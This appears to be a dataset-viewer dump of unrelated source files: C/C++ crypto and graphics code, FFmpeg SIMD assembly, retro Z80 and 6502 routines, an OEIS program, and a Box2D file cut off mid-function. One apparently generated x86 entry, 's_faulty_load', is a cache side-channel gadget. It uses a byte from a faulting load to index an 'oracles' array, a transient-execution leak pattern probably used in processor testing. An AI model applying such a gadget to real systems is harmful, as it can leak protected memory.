text stringlengths 1 1.05M |
|---|
// -
// Copyright 2009 Colin Percival
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
// 1. Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
// OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
// SUCH DAMAGE.
//
// The code in this file is taken from a file which was originally written by Colin Percival as part of the Tarsnap
// online backup system.
// -
//
// File contains modifications by: The Gulden developers
// All modifications:
// Copyright (c) 2019 The Gulden developers
// Authored by: Malcolm MacLeod (mmacleod@gmx.com)
// Distributed under the GULDEN software license, see the accompanying
// file COPYING in the root of this repository
#include "sha256_scrypt.h"
#include <assert.h>
#include "string.h"
#include <crypto/sha256.h>
void HMAC_SHA256_Init(HMAC_SHA256_CTX* ctx, const void* _K, size_t Klen)
{
unsigned char pad[64];
unsigned char khash[32];
const unsigned char *K = (const unsigned char *)_K;
size_t i;
// If Klen > 64, the key is really SHA256(K).
if (Klen > 64)
{
ctx->ictx.Reset();
ctx->ictx.Write(K, Klen);
ctx->ictx.Finalize(khash);
K = khash;
Klen = 32;
}
// Inner SHA256 operation is SHA256(K xor [block of 0x36] || data).
ctx->ictx.Reset();
memset(pad, 0x36, 64);
for (i = 0; i < Klen; i++)
{
pad[i] ^= K[i];
}
ctx->ictx.Write(pad, 64);
// Outer SHA256 operation is SHA256(K xor [block of 0x5c] || hash).
ctx->octx.Reset();
memset(pad, 0x5c, 64);
for (i = 0; i < Klen; i++)
{
pad[i] ^= K[i];
}
ctx->octx.Write(pad, 64);
// Clean the stack.
memset(khash, 0, 32);
}
void HMAC_SHA256_Update(HMAC_SHA256_CTX* ctx, const void* in, size_t len)
{
// Feed data to the inner SHA256 operation.
ctx->ictx.Write((unsigned char*)in, len);
}
void HMAC_SHA256_Final(unsigned char digest[32], HMAC_SHA256_CTX* ctx)
{
unsigned char ihash[32];
// Finish the inner SHA256 operation.
ctx->ictx.Finalize(ihash);
// Feed the inner hash to the outer SHA256 operation.
ctx->octx.Write(ihash, 32);
// Finish the outer SHA256 operation.
ctx->octx.Finalize(digest);
// Clean the stack.
memset(ihash, 0, 32);
}
void PBKDF2_SHA256(const uint8_t* passwd, size_t passwdlen, const uint8_t* salt, size_t saltlen, uint64_t c, uint8_t* buf, size_t dkLen)
{
HMAC_SHA256_CTX PShctx, hctx;
size_t i;
uint8_t ivec[4];
uint8_t U[32];
uint8_t T[32];
uint64_t j;
int k;
size_t clen;
// Compute HMAC state after processing P and S.
HMAC_SHA256_Init(&PShctx, passwd, passwdlen);
HMAC_SHA256_Update(&PShctx, salt, saltlen);
// Iterate through the blocks.
for (i = 0; i * 32 < dkLen; i++)
{
// Generate INT(i + 1).
be32enc(ivec, (uint32_t)(i + 1));
// Compute U_1 = PRF(P, S || INT(i)).
memcpy(&hctx, &PShctx, sizeof(HMAC_SHA256_CTX));
HMAC_SHA256_Update(&hctx, ivec, 4);
HMAC_SHA256_Final(U, &hctx);
// T_i = U_1 ...
memcpy(T, U, 32);
for (j = 2; j <= c; j++)
{
// Compute U_j.
HMAC_SHA256_Init(&hctx, passwd, passwdlen);
HMAC_SHA256_Update(&hctx, U, 32);
HMAC_SHA256_Final(U, &hctx);
// ... xor U_j ...
for (k = 0; k < 32; k++)
{
T[k] ^= U[k];
}
}
// Copy as many bytes as necessary into buf.
clen = dkLen - i * 32;
if (clen > 32)
{
clen = 32;
}
memcpy(&buf[i * 32], T, clen);
}
// Clean PShctx, since we never called _Final on it.
memset(&PShctx, 0, sizeof(HMAC_SHA256_CTX));
}
|
* = $0200
CHRIN = $FFCF
CHROUT = $FFD2
start:
; echo prompt
LDX #0
.l LDA prompt,X
BEQ input
JSR CHROUT
INX
JMP .l
; read name from input
input LDX #0
.l1 JSR CHRIN
STA name,X
INX
CMP #$0A
BEQ .l2
JMP .l1
.l2 LDA #0
STA name,X
; echo greeting
TAX
.l3 LDA greet,X
BEQ exit
JSR CHROUT
INX
JMP .l3
; return to OS
exit RTS
prompt: string "Enter your name: "
greet: text "Hello, "
name:
|
MACRO mac
println "got {d:_NARG} args"
ENDM
mac
mac 42
notmac
mac
mac 42
mac::
mac ::
|
#include "Clove/Rendering/SwapchainRenderTarget.hpp"
#include "Clove/Application.hpp"
#include <Clove/Graphics/GhaDevice.hpp>
#include <Clove/Graphics/GhaFactory.hpp>
#include <Clove/Graphics/GhaFence.hpp>
#include <Clove/Graphics/GhaPresentQueue.hpp>
#include <Clove/Graphics/GhaSemaphore.hpp>
#include <Clove/Graphics/GhaSwapchain.hpp>
#include <Clove/Log/Log.hpp>
#include <Clove/Platform/Window.hpp>
namespace clove {
SwapchainRenderTarget::SwapchainRenderTarget(Window &swapchainWindow, GhaDevice *graphicsDevice)
: graphicsDevice{ graphicsDevice } {
graphicsFactory = graphicsDevice->getGraphicsFactory();
windowSize = swapchainWindow.getSize(true);
windowResizeHandle = swapchainWindow.onWindowResize.bind(&SwapchainRenderTarget::onSurfaceSizeChanged, this);
presentQueue = graphicsFactory->createPresentQueue().getValue();
//We won't be allocating any buffers from this queue, only using it to submit
graphicsQueue = graphicsFactory->createGraphicsQueue(CommandQueueDescriptor{ .flags = QueueFlags::None }).getValue();
createSwapchain();
}
SwapchainRenderTarget::SwapchainRenderTarget(SwapchainRenderTarget &&other) noexcept = default;
SwapchainRenderTarget &SwapchainRenderTarget::operator=(SwapchainRenderTarget &&other) noexcept = default;
SwapchainRenderTarget::~SwapchainRenderTarget() = default;
Expected<uint32_t, std::string> SwapchainRenderTarget::aquireNextImage(size_t const frameId) {
if(windowSize.x == 0 || windowSize.y == 0) {
return Unexpected<std::string>{ "Cannot acquire image while Window is minimised." };
}
if(requiresNewSwapchain) {
createSwapchain();
return Unexpected<std::string>{ "GhaSwapchain was recreated." };
}
if(std::size(imageAvailableSemaphores) <= frameId) {
imageAvailableSemaphores.emplace_back(graphicsFactory->createSemaphore().getValue());
}
if(std::size(framesInFlight) <= frameId) {
framesInFlight.emplace_back(graphicsFactory->createFence({ true }).getValue());
}
//Wait for the graphics queue to be finished with the frame we want to render
framesInFlight[frameId]->wait();
auto const [imageIndex, result] = swapchain->aquireNextImage(imageAvailableSemaphores[frameId].get());
if(result == Result::Error_SwapchainOutOfDate) {
createSwapchain();
return Unexpected<std::string>{ "GhaSwapchain was recreated." };
}
//Make sure we're not about to start using an image that hasn't been rendered to yet
if(imagesInFlight[imageIndex] != nullptr) {
imagesInFlight[imageIndex]->wait();
}
imagesInFlight[imageIndex] = framesInFlight[frameId].get();
framesInFlight[frameId]->reset();
return imageIndex;
}
void SwapchainRenderTarget::submit(uint32_t imageIndex, size_t const frameId, GraphicsSubmitInfo submission) {
if(std::size(renderFinishedSemaphores) <= frameId) {
renderFinishedSemaphores.emplace_back(graphicsFactory->createSemaphore().getValue());
}
//Inject the sempahores we use to synchronise with the swapchain and present queue
submission.waitSemaphores.emplace_back(imageAvailableSemaphores[frameId].get(), PipelineStage::ColourAttachmentOutput);
submission.signalSemaphores.push_back(renderFinishedSemaphores[frameId].get());
graphicsQueue->submit({ std::move(submission) }, framesInFlight[frameId].get());
auto const result = presentQueue->present(PresentInfo{
.waitSemaphores = { renderFinishedSemaphores[frameId].get() },
.swapChain = swapchain.get(),
.imageIndex = imageIndex,
});
if(result == Result::Error_SwapchainOutOfDate || result == Result::Success_SwapchainSuboptimal) {
createSwapchain();
}
}
GhaImage::Format SwapchainRenderTarget::getImageFormat() const {
return swapchain->getImageFormat();
}
vec2ui SwapchainRenderTarget::getSize() const {
return swapchain->getSize();
}
std::vector<GhaImageView *> SwapchainRenderTarget::getImageViews() const {
return swapchain->getImageViews();
}
void SwapchainRenderTarget::onSurfaceSizeChanged(vec2ui const &size) {
windowSize = size;
requiresNewSwapchain = true;
}
void SwapchainRenderTarget::createSwapchain() {
requiresNewSwapchain = true;
if(windowSize.x == 0 || windowSize.y == 0) {
return;
}
onPropertiesChangedBegin.broadcast();
graphicsDevice->waitForIdleDevice();
swapchain.reset();
swapchain = graphicsFactory->createSwapChain({ windowSize }).getValue();
imagesInFlight.resize(std::size(swapchain->getImageViews()));
onPropertiesChangedEnd.broadcast();
requiresNewSwapchain = false;
}
} |
;
; ZX IF1 & Microdrive functions
;
; int if1_find_sector (int drive);
;
; Find a free sector in the specified drive
;
; Create an empty file, then delete it just to discover
; which sector can be written !!!.
;
;
; $Id: if1_find_sector.asm,v 1.1 2008/06/29 08:25:47 aralbrec Exp $
;
XLIB if1_find_sector
filename: defm "0-!g"
if1_find_sector:
rst 8
defb 31h ; Create Interface 1 system vars if required
pop af
pop bc ;driveno
push bc
push af
ld a,c
ld ($5cd6),a
ld hl,4
ld ($5cda),hl ; filename length
ld hl,filename ; filename location
ld (5cdch),hl ; pointer to filename
;rst 8 ; Erase if file exists ?
;defb 24h
rst 8
defb 22h ; Open temporary 'M' channel (touch)
; Now IX points to the newly created channel
rst 8 ; Close & save
defb 23h
rst 8
defb 22h ; Open for reading
ld a,(ix+29h) ; pick the sector number...
ld l,a
ld h,0
push hl ; ..and save it onto the stack
rst 8 ; Close
defb 23h
rst 8 ; Erase
defb 24h
pop hl
ret
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x39b8, %rbp
clflush (%rbp)
nop
nop
nop
nop
nop
and $35622, %r11
mov (%rbp), %r15
inc %rbp
lea addresses_WC_ht+0x80dc, %r9
nop
xor %rsi, %rsi
movw $0x6162, (%r9)
nop
xor $51035, %rsi
lea addresses_WC_ht+0x23b8, %r15
nop
dec %r14
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
movups %xmm0, (%r15)
and %r15, %r15
lea addresses_WT_ht+0x105d8, %rsi
lea addresses_D_ht+0x1abb8, %rdi
nop
nop
nop
nop
add %rbp, %rbp
mov $89, %rcx
rep movsb
nop
nop
nop
nop
and $35600, %rcx
lea addresses_D_ht+0x15db8, %rsi
lea addresses_A_ht+0xafb8, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
xor $49538, %r15
mov $39, %rcx
rep movsq
xor %rcx, %rcx
lea addresses_normal_ht+0xb9b8, %r11
nop
nop
nop
sub $8870, %rcx
mov (%r11), %rbp
nop
nop
add %r11, %r11
lea addresses_WC_ht+0x1a6b8, %rsi
lea addresses_D_ht+0x114b1, %rdi
nop
nop
add %rbp, %rbp
mov $19, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp $47632, %r15
lea addresses_WC_ht+0xf0b8, %r15
nop
nop
nop
dec %r11
movl $0x61626364, (%r15)
and %rdi, %rdi
lea addresses_WC_ht+0x10d68, %rsi
lea addresses_D_ht+0x35b8, %rdi
add %rbp, %rbp
mov $110, %rcx
rep movsq
nop
nop
nop
add $54009, %r15
lea addresses_D_ht+0x5118, %rdi
nop
nop
nop
nop
nop
and %rcx, %rcx
mov $0x6162636465666768, %rbp
movq %rbp, %xmm4
movups %xmm4, (%rdi)
nop
nop
and %rsi, %rsi
lea addresses_UC_ht+0x13bb8, %r14
nop
nop
nop
nop
nop
cmp %rsi, %rsi
mov (%r14), %rdi
nop
xor $13005, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %rbp
push %rbx
push %rdi
push %rdx
push %rsi
// Load
lea addresses_WT+0x12bb8, %rbx
and $50630, %r15
mov (%rbx), %si
add %rbp, %rbp
// Store
lea addresses_D+0x6674, %rdi
clflush (%rdi)
nop
nop
sub $63583, %r13
movb $0x51, (%rdi)
nop
nop
sub %rdi, %rdi
// Faulty Load
lea addresses_US+0x123b8, %rdi
nop
nop
nop
and $40257, %r13
vmovups (%rdi), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdx
lea oracles, %rbp
and $0xff, %rdx
shlq $12, %rdx
mov (%rbp,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 2}}
[Faulty Load]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 7}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'48': 7, '46': 1, '00': 6}
00 48 48 46 48 00 00 00 00 48 00 48 48 48
*/
|
; ===============================================================
; 2011-2012 Shiru http://shiru.untergrund.net
;
; 2014 adapted to z88dk by aralbrec
; * modified to use one index register
; * modified to eliminate self-modifying code
; * modified to use general 1-bit output for all targets
; * modified to be tolerant of fast cpus
; ===============================================================
;
; void bit_beepfx(void *effect)
;
; Plays the selected sound effect on the one bit device.
;
; ===============================================================
INCLUDE "clib_target_cfg.asm"
SECTION code_sound_bit
PUBLIC asm_bit_beepfx
EXTERN asm_bit_open, asm_bit_close
asm_bit_beepfx:
; enter : ix = void *effect
;
; uses : af, bc, de, hl, bc', de', hl', ix
exx
call asm_bit_open
and ~__sound_bit_toggle
ld h,a ; h'= sound_bit_state with output bit = 0
IF __sound_bit_method = 2
ld bc,__sound_bit_port
ENDIF
exx
read_data:
ld a,(ix+0) ; a = block_type
exx
ld e,(ix+1)
ld d,(ix+2) ; de'= duration_1
exx
ld c,(ix+3)
ld b,(ix+4) ; bc = duration_2
dec a
jr z, sfx_routine_tone
dec a
jr z, sfx_routine_noise
dec a
jr z, sfx_routine_sample
exx
; leave 1-bit device in 0 position
ld a,h
INCLUDE "sound/bit/z80/output_bit_device_1.inc"
exx
jp asm_bit_close
; *************************************************************
sfx_routine_sample:
; PLAY SAMPLE
; ix = & block descriptor
; bc = duration_2
; h'= sound_bit_state
; bc'= port_16 when sound_bit_method == 2
; de'= duration_1
exx
ld l,__sound_bit_toggle
push de
exx
ld l,c
ld h,b ; hl = duration_2
pop bc ; bc = duration_1
; ix = & block descriptor
; hl = sample_ptr (duration_2)
; bc = duration_1
; l'= __sound_bit_toggle
; h'= sound_bit_state
; bc'= port_16 when sound_bit_method == 2
sample_loop_0:
ld e,8
ld d,(hl)
inc hl
sample_loop_1:
ld a,(ix+5)
sample_loop_2:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; note: loop time = 16T
;;
;; loop is timed for 3.5 MHZ cpu
; defc NOMINAL_CLOCK = 3500000
; defc NOMINAL_T = 16
; defc TARGET_CLOCK = __clock_freq
;
; INCLUDE "sound/bit/z80/cpu_speed_compensate.inc"
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
dec a
jr nz, sample_loop_2
rl d
sbc a,a
exx
and l ; confine to toggle bits
or h ; mix with sound_bit_state
INCLUDE "sound/bit/z80/output_bit_device_1.inc"
exx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; note: original loop time = 72T
;; implemented loop time = 74T, 75T, 76T
;;
;; loop is timed for 3.5 MHZ cpu
; defc NOMINAL_CLOCK = 3500000
; defc NOMINAL_T = 75
; defc TARGET_CLOCK = __clock_freq
;
; INCLUDE "sound/bit/z80/cpu_speed_compensate.inc"
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
dec e
jr nz, sample_loop_1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; note: outer loop time = 46T
;;
;; loop is timed for a 3.5MHz cpu
; defc NOMINAL_CLOCK = 3500000
; defc NOMINAL_T = 46
; defc TARGET_CLOCK = __clock_freq
;
; INCLUDE "sound/bit/z80/cpu_speed_compensate.inc"
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
dec bc
ld a,b
or c
jr nz, sample_loop_0
ld c,6
next_data:
add ix,bc ; skip to next block
jr read_data
; *************************************************************
sfx_routine_tone:
; PLAY TONE
; ix = & block descriptor
; bc = duration_2
; h'= sound_bit_state
; bc'= port_16 when sound_bit_method == 2
; de'= duration_1
ld e,(ix+5)
ld d,(ix+6) ; de = time_delta
exx
ld a,(ix+9)
ld l,a ; l'= duty_count
exx
ld hl,0
; ix = & block descriptor
; hl = time_count
; de = time_delta
; bc = duration_2
; l'= duty_count
; h'= sound_bit_state
; de'= duration_1
; bc'= port_16 when sound_bit_method == 2
tone_loop_0:
push bc ; save duration_2
tone_loop_1:
add hl,de ; time_count += time_delta
ld a,h
exx
cp l
sbc a,a ; time_count >= duty_count ?
and __sound_bit_toggle ; set toggle bit if yes
or h ; mix with bit_state
INCLUDE "sound/bit/z80/output_bit_device_1.inc"
exx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; note: original inner loop time = 77T
;; implemented inner loop time = 79T, 80T, 81T
;;
;; loop is timed for a 3.5MHz cpu
; defc NOMINAL_CLOCK = 3500000
; defc NOMINAL_T = 80
; defc TARGET_CLOCK = __clock_freq
;
; INCLUDE "sound/bit/z80/cpu_speed_compensate.inc"
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
dec bc ; duration_2 -= 1
ld a,b
or c
jr nz, tone_loop_1
ld c,(ix+7) ; slide
ld b,(ix+8)
ex de,hl
add hl,bc ; time_delta += slide
ex de,hl
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; delay 35T to match original routine
ld b,2
waste_0: djnz waste_0
ld b,2
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; note: outer loop time = 174T
;;
;; loop is timed for a 3.5MHz cpu
; defc NOMINAL_CLOCK = 3500000
; defc NOMINAL_T = 174
; defc TARGET_CLOCK = __clock_freq
;
; INCLUDE "sound/bit/z80/cpu_speed_compensate.inc"
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
exx
ld a,l ; duty change
add a,(ix+10)
ld l,a
dec de ; duration_1 -= 1
ld a,d
or e
exx
pop bc ; bc = duration_2
jr nz, tone_loop_0
ld bc,11
jr next_data
; *************************************************************
sfx_routine_noise:
; PLAY NOISE WITH TWO PARAMETERS
; note: the first 8k of memory must contain random-like data
; ix = & block descriptor
; bc = duration_2
; h'= sound_bit_state
; bc'= port_16 when sound_bit_method == 2
; de'= duration_1
ld e,(ix+5) ; e = noise_period
ld d,1
ld h,d
ld l,d
exx
ld l,__sound_bit_toggle
exx
; ix = & block descriptor
; hl = & random_data
; bc = duration_2
; d = noise_count
; e = noise_period
; h'= sound_bit_state
; l'= __sound_bit_toggle
; de'= duration_1
; bc'= port_16 when sound_bit_method == 2
noise_loop_0:
push bc ; save duration_2
noise_loop_1:
ld a,(hl)
exx
and l ; toggle bits are random
or h ; mix with bit_state
INCLUDE "sound/bit/z80/output_bit_device_1.inc"
exx
dec d ; noise_count -= 1
jr nz, period_continue
; noise period elapsed
ld d,e ; reset noise_period
inc hl ; advance random data pointer
ld a,h ; keep random data pointer in first 8k
and 31
ld h,a
period_continue:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; note: original inner loop time = 74T
;; implemented inner loop time = 76T, 77T, 78T
;;
;; loop is timed for a 3.5MHz cpu
; defc NOMINAL_CLOCK = 3500000
; defc NOMINAL_T = 77
; defc TARGET_CLOCK = __clock_freq
;
; INCLUDE "sound/bit/z80/cpu_speed_compensate.inc"
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
dec bc ; duration_2 -= 1
ld a,b
or c
jr nz, noise_loop_1
ld a,e
add a,(ix+6) ; noise period slide
ld e,a
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; delay 17T to match original routine
ld bc,0
ld c,0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; note: outer loop time = 99T
;;
;; loop is timed for a 3.5MHz cpu
; defc NOMINAL_CLOCK = 3500000
; defc NOMINAL_T = 99
; defc TARGET_CLOCK = __clock_freq
;
; INCLUDE "sound/bit/z80/cpu_speed_compensate.inc"
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
pop bc ; restore duration_2
exx
dec de ; duration_1 -= 1
ld a,d
or e
exx
jr nz, noise_loop_0
ld bc,7
jr next_data
|
;************************************************************************
;* SIMD-optimized lossless video encoding functions
;* Copyright (c) 2000, 2001 Fabrice Bellard
;* Copyright (c) 2002-2004 Michael Niedermayer <michaelni@gmx.at>
;*
;* MMX optimization by Nick Kurshev <nickols_k@mail.ru>
;* Conversion to NASM format by Tiancheng "Timothy" Gu <timothygu99@gmail.com>
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* 51, Inc., Foundation Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "libavutil/x86/x86util.asm"
SECTION .text
; void ff_diff_bytes(uint8_t *dst, const uint8_t *src1, const uint8_t *src2,
; intptr_t w);
%macro DIFF_BYTES_PROLOGUE 0
%if ARCH_X86_32
cglobal diff_bytes, 3,5,2, dst, src1, src2
%define wq r4q
DECLARE_REG_TMP 3
mov wq, r3mp
%else
cglobal diff_bytes, 4,5,2, dst, src1, src2, w
DECLARE_REG_TMP 4
%endif ; ARCH_X86_32
%define i t0q
%endmacro
; labels to jump to if w < regsize and w < 0
%macro DIFF_BYTES_LOOP_PREP 2
mov i, wq
and i, -2 * regsize
js %2
jz %1
add dstq, i
add src1q, i
add src2q, i
neg i
%endmacro
; mov type used for src1q, dstq, first reg, second reg
%macro DIFF_BYTES_LOOP_CORE 4
%if mmsize != 16
mov%1 %3, [src1q + i]
mov%1 %4, [src1q + i + regsize]
psubb %3, [src2q + i]
psubb %4, [src2q + i + regsize]
mov%2 [dstq + i], %3
mov%2 [regsize + dstq + i], %4
%else
; SSE enforces alignment of psubb operand
mov%1 %3, [src1q + i]
movu %4, [src2q + i]
psubb %3, %4
mov%2 [dstq + i], %3
mov%1 %3, [src1q + i + regsize]
movu %4, [src2q + i + regsize]
psubb %3, %4
mov%2 [regsize + dstq + i], %3
%endif
%endmacro
%macro DIFF_BYTES_BODY 2 ; mov type used for src1q, for dstq
%define regsize mmsize
.loop_%1%2:
DIFF_BYTES_LOOP_CORE %1, %2, m0, m1
add i, 2 * regsize
jl .loop_%1%2
.skip_main_%1%2:
and wq, 2 * regsize - 1
jz .end_%1%2
%if mmsize > 16
; fall back to narrower xmm
%define regsize (mmsize / 2)
DIFF_BYTES_LOOP_PREP .setup_loop_gpr_aa, .end_aa
.loop2_%1%2:
DIFF_BYTES_LOOP_CORE %1, %2, xm0, xm1
add i, 2 * regsize
jl .loop2_%1%2
.setup_loop_gpr_%1%2:
and wq, 2 * regsize - 1
jz .end_%1%2
%endif
add dstq, wq
add src1q, wq
add src2q, wq
neg wq
.loop_gpr_%1%2:
mov t0b, [src1q + wq]
sub t0b, [src2q + wq]
mov [dstq + wq], t0b
inc wq
jl .loop_gpr_%1%2
.end_%1%2:
REP_RET
%endmacro
%if ARCH_X86_32
INIT_MMX mmx
DIFF_BYTES_PROLOGUE
%define regsize mmsize
DIFF_BYTES_LOOP_PREP .skip_main_aa, .end_aa
DIFF_BYTES_BODY a, a
%undef i
%endif
INIT_XMM sse2
DIFF_BYTES_PROLOGUE
%define regsize mmsize
DIFF_BYTES_LOOP_PREP .skip_main_aa, .end_aa
test dstq, regsize - 1
jnz .loop_uu
test src1q, regsize - 1
jnz .loop_ua
DIFF_BYTES_BODY a, a
DIFF_BYTES_BODY u, a
DIFF_BYTES_BODY u, u
%undef i
%if HAVE_AVX2_EXTERNAL
INIT_YMM avx2
DIFF_BYTES_PROLOGUE
%define regsize mmsize
; Directly using unaligned SSE2 version is marginally faster than
; branching based on arguments.
DIFF_BYTES_LOOP_PREP .skip_main_uu, .end_uu
test dstq, regsize - 1
jnz .loop_uu
test src1q, regsize - 1
jnz .loop_ua
DIFF_BYTES_BODY a, a
DIFF_BYTES_BODY u, a
DIFF_BYTES_BODY u, u
%undef i
%endif
|
; A045950: Triangles in Star of David matchstick arrangement of side n.
; 0,10,59,177,394,740,1245,1939,2852,4014,5455,7205,9294,11752,14609,17895,21640,25874,30627,35929,41810,48300,55429,63227,71724,80950,90935,101709,113302,125744,139065,153295,168464,184602,201739,219905,239130,259444,280877,303459,327220,352190,378399,405877,434654,464760,496225,529079,563352,599074,636275,674985,715234,757052,800469,845515,892220,940614,990727,1042589,1096230,1151680,1208969,1268127,1329184,1392170,1457115,1524049,1593002,1664004,1737085,1812275,1889604,1969102,2050799,2134725,2220910,2309384,2400177,2493319,2588840,2686770,2787139,2889977,2995314,3103180,3213605,3326619,3442252,3560534,3681495,3805165,3931574,4060752,4192729,4327535,4465200,4605754,4749227,4895649
mov $3,$0
mov $5,$0
pow $0,2
add $3,$0
mov $1,$3
div $1,2
mov $4,$5
mul $4,$5
mov $2,$4
mul $2,4
add $1,$2
mul $4,$5
mov $2,$4
mul $2,5
add $1,$2
mov $0,$1
|
/*
* Copyright (c) 2006-2007 Erin Catto http://www.gphysics.com
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*/
#include "Test.h"
#include "Render.h"
#ifdef __APPLE__
#include <GLUT/glut.h>
#define APIENTRY
#else
#include "freeglut/GL/glut.h"
#endif
#include <cstdio>
void DestructionListener::SayGoodbye(b2Joint* joint)
{
if (test->m_mouseJoint == joint)
{
test->m_mouseJoint = NULL;
}
else
{
test->JointDestroyed(joint);
}
}
void BoundaryListener::Violation(b2Body* body)
{
if (test->m_bomb != body)
{
test->BoundaryViolated(body);
}
}
void ContactListener::Add(const b2ContactPoint* point)
{
if (test->m_pointCount == k_maxContactPoints)
{
return;
}
ContactPoint* cp = test->m_points + test->m_pointCount;
